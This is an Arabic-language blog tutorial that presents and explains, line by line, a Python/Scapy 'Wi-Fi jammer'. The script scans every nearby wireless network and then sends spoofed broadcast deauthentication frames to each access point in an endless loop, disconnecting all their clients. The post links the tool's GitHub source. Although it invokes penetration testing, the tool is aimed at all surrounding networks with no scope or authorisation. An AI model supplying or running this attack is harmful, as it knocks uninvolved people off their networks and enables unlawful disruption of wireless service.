اخر تحديث في مايو 27, 2023 بواسطة حمدي بانجار
إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية هو موضوعنا اليوم في موقع حضرموت التقنيه
ففي الأيام الأخيره يتحدث الكثيرين على العديد من الأشياء التي يُمكن أن نقوم ببرمجتها بإستخدام لغة Python والتي بالتأكيد تتعلق بمجال أمن المعلومات وإختبار الإختراق
حيث أن مختبري الإختراق المحترفين يقومون ببرمجة العديد من الأدوات الخاصة به والتي يستخدمها في عمليات الإختبار المُختلفة
حيث بالتأكيد تساعده على فهم للعملية التي يقوم بها ، وتمكنه من خيارات عديده في عملية التعديل عليها وإضافة خواص تساعدة في هذه العملية أو الوظيفة التي يقوم بها بشكل أساسي في إختبار الإختراق مهما إختلفت طبيعتها.
إستخدام Python في التشويش:-
واليوم سوف نتكلم عن موضوع شيق ورائع، حيث سنتعرف على كيفية إستخدام Python في برمجة سكربت للتشويش على الشبكات وسنقوم بعمل أداة بسيطة جدا لتقوم بالتشويش على الشبكات المُحيطة بك وفصل الأجهزة المُتصلة بهذه الشبكة مع العلم أنه توجد بعض الأدوات التي تقوم بذلك بشكل تلقائي
واليوم سوف نقوم ببرمجة سكربت يقوم بهذه العملية ، حيث سنقوم بالتشويش على جميع الشبكات المُحيطة بك بضغطة زر واحده عن طريق إستخدام إسكربت تمت برمجته بإستخدام لغه بايثون Python
إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية:-
اولا يجب أن تفهم ألية وطريقه عمل فكرة التشويش وكيف تستطيع قطع إتصال الأجهزة الموجوده حولك بكل سهولة حتى تستطيع إستخدام Python في برمجة سكربت للتشويش
فكما نعلم أنه عندما تريد فصل الإتصال الخاص بك يجب أن تقوم بإرسال طلب للراوتر تخبره بأنك تريد قطع الإتصال ، وهُنا سوف نقوم بعمل إنتحال للـماك أدرس MAC Address للجهاز المتصلين بالشبكة والذي نُريد أن نقوم بالتشويش عليه
حيث سوف نرسل Deauthentication packet مزيفة من الجهاز الخاص بنا تحتوي على عنوان الماك الخاص بالجهاز الذي سوف نقوم بالتشويش عليه ، وأيضاً عنوان الماك الخاص بالروتر الذي سوف يستقبل هذا الطلب.
يمكنك تحميل الإسكربت من موقع Github من خلال هذا الرابط من هنا وهذه الصورة تُوضح كود الأداه :-
#!/usr/bin/python ################################################################### # # Python Wifi Jammer # @mohammadaskar2 # http://www.isecur1ty.org # ################################################################### from scapy.all import * from wifi import Cell import time import wireless wifi1 = wireless.Wireless() interface = wifi1.interface() all_wifi = Cell.all(interface) #print "SSID\t BSSID\t Channel\t Power\t" print "[+] scannig for networks .." bssid = [] time.sleep(2) for wi in all_wifi: print "SSID is : " + wi.ssid print "BSSID is : " + wi.address print "Channel is : " + str(wi.channel) print "Quality is : " + str(wi.quality) print "+" * 20 bssid.append(wi.address) time.sleep(0.5) print "#" * 70 def jam(address): conf.iface = "mon1" bssid = address client = "FF:FF:FF:FF:FF:FF" # count = 3 conf.verb = 0 packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7) for n in range(int(count)): sendp(packet) print 'Deauth num '+ str(n) + ' sent via: ' + conf.iface + ' to BSSID: ' + bssid + ' for Client: ' + client while True: for item in bssid: print "Jamming on : {0}".format(item) jam(item)
توضيح :
أولاً سوف نحتاج جمع جميع الشبكات بشكل أوتوماتيكي لغرض التعرف عليها ، بعد ذلك سوف
نقوم بجمع عناوين Bssid الخاصة بجميع الشبكات ووضعها كلاً على حده لكي نقوم بالتواصل معها
لأنه كما ذكرت فنحن نحتاج عنوان الماك الخاص بالشبكة لكي نقوم بإرسال الحزمة المزوره لها ، بعد ذلك سوف نحتاج لضبط كارت الوايرليس الخاص بنا على Monitor Mode ، بعدها سوف نقوم بتجهيز الحزمة حيث سوف نقوم بإستخدام باكيت Scapy في هذه العمليه
بعد تجهيز الحزمة ستقوم أخيراً بإرسالها بعدد معين إلى جميع الشبكات لنضمن قيامها بفصل
جميع الأجهزة الموجوده بالشبكه من خلال عمل Brodcast وبث الحزم لجميع الأجهزة المُتصلة وبهذا نكون قد فصلنا جميع الأجهزة المُتصلة حولنا وقمنا بالتشويش عليها.
شرح الإسكربت :
في بداية السكربت من السطر 9 إلى السطر 12 نقوم بإستدعاء المكتبات التي سوف نحتاجها وهي :
المكتبات المستخدمه :-
- مكتبه Scapy :- لإعداد الحزمة المراده وإرسالها
- مكتبه wifi :- لإظهار جميع الشبكا
- مكتبه time :- لضبط أمور التوقيتات
- مكتبه wireless :- سوف نحتاجها في عملية كشف interfaces الموجوده بالجهاز.
السطر 14 و 15 نقوم بمعرفة الواجهه الرئيسيه حيث سوف نقوم بإستخدامه في عملية جمع المعلومات الخاصة بالشبكات الموجوده حولنا
السطر 17 نقوم بإستخدام طريقه Cell.all لكي نقوم بجمع جميع الشبكات المُحيطة بنا وتخزينها
على شكل قائمه حتى يتم التعامل مع كل شبكة
السطر 19 نقوم بطباعة الجُملة كما نرى ، والسطر 20 نقوم بعمل قائمه إسمها bssid وسوف
نقوم بوضع جميع عناوين bssid الخاصة بِكُل شبكة
والسطر 21 نقوم بتأخير تنفيذ السطر التالي لمُدة ثانيتين من خلال time.sleep ومن السطر 22 إلى السطر 29 نقوم بتمرير جميع الشبكات التي وجدناها وبالسطر 17 والتعامل مع كُل شبكة على حدى
حيث نطبع عنوان ssid وعنوان bssid والقناة وكذلك قوة وجودة الإتصال مع الشبكة ، وبالسطر 28
نقوم بعمل إضافه على bssid list حيث نقوم بإضافة عنوان bssid الخاص بالشبكة داخلها
الأن أصبح لدينا قائمه كاملة بجميع عناوين الــ bssid الخاصة بالشبكات ، حيث سوف نقوم بإستخدامها للتواصل مع الشبكة وإرسال حزمة Deauthentication لها
بعد ذلك بالسطر 33 قمنا بتعريف Function حيث قمنا بتسميتها بـ Jam حيث تأخذ المتغير
address والذي بطبيعة الحال سوف يكون هو عنوان bssid الذي جمعناه ووضعناه داخل bssid List
السطر 34 نقوم بتعريف كارت الوايرليس أو “interface” والذي يجب أن يكون مفعل بوضعية Monitor Mode وفي حالتنا هو mon1 ،
بعد ذلك قمنا بتعريف bssid على أنه المُتغير الذي تأخذه الدالة Jam ، ويليه المُتغير Client حيث
هو عنوان Mac Address الخاص بالهدف ، ونستطيع إستخدام “FF:FF:FF:FF:FF:F” لعمل Broadcast كما ذكرنا
في السطر 37 قُمنا بتعريف المُتغير count المسؤول عن عدد الحزم التي سوف يتم إرسالها للشبكة الواحده ،
حيث انه تم تحديد 3 حُزم فقط ، وبالسطر 38 قمنا بضبط Scapy verbose بالقيمة 0 لكي لا يتم
عرض أي معلومات من قبل Scapy على الشاشة
في السطر 39 نقوم بتجهيز المُتغير packet بالحزمة المراده وضبطها وإعدادها بشكل عام لكي
تقوم بإرسال Deauthentication packet من وإلى العناوين التي تكلمنا عنها
ويمكنك الإطلاع على Scapy أكثر للك تتعرف على الكثير من الأمور حول هذا الموضوع ومواضيع
أخرى متعلقه بالتعامل مع الشبكات من خلال Scapy
من السطر 40 وإلى السطر 42 نقوم بعمل حلقة بعدد الشبكات التي تم إكتشافها ومن ثم نقوم
بإستخدام sendp في السطر 41 لإرسال packet التي تم تعريفها مُسبقاً من خلال المُتغير packet ،
حيث سوف ترسل الحزمة بناءاً على ما سبق ، والسطر 42 يقوم بطباعة المعلومات التي تم الإرسال إلي الشبكه
وأخيراً من السطر 43 إلى السطر 46 نقوم بتشغيل while loop مُستمرة ، ونقوم بسحب جميع
عناوين Bssid الخاصة بالشبكات من خلال تعريف مُتغير item وسحبها بإستخدام for loop من
Bssid List وفي السطر الاخير 46 نقوم بإستدعاء الدالة Jam وتمرير المُتغير item كعنوان bssid وتنفيذ ما سبق عليه.
صور توضح ماذا يحدث عند تشغيل الإسكربت :-
وكما نرى بهذه الصورة فور تشغيل البرنامج قام بإظهار جميع الشبكات الموجوده بالقرب منك
وهذه الصورة توضح كذلك بأنه يتم إرسال الحزم بشكل صحيح إلى الهدف :
رابط تحميل الأداه :- https://github.com/iSecur1ty/wifi-jammer/blob/master/jammer.py
وإلى هنا نكون قد وصلنا إلى نهايه موضوعنا اليوم والذي كان بعنوان إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية
وإذا أعجبك موضوع إستخدام Python في برمجة سكربت للتشويش على الشبكات اللاسلكية فلا
تبخل علينا بمشاركته على مواقع التواصل الإجتماعي لليستفيد منه غيرك وأيضا يمكنك الإشتراك في قناه الموقع على اليوتيوب من هنا لليصلك كل فيديوهاتنا
كما يمكنك الإنضمام إللى جروب الموقع على الفيسبوك من هنا وأيضا الإشتراك في قناه الموقع على التليجرام من هنا
وكذلك يمكنك التسجيل في موقع حضرموت التقنيه للتحميل الكثير من الملفات بجانب إمكامك من نخزين ملفاتك على الإنترنت على الموقع مجانا وللتصبح جزء من مجتمعنا التقني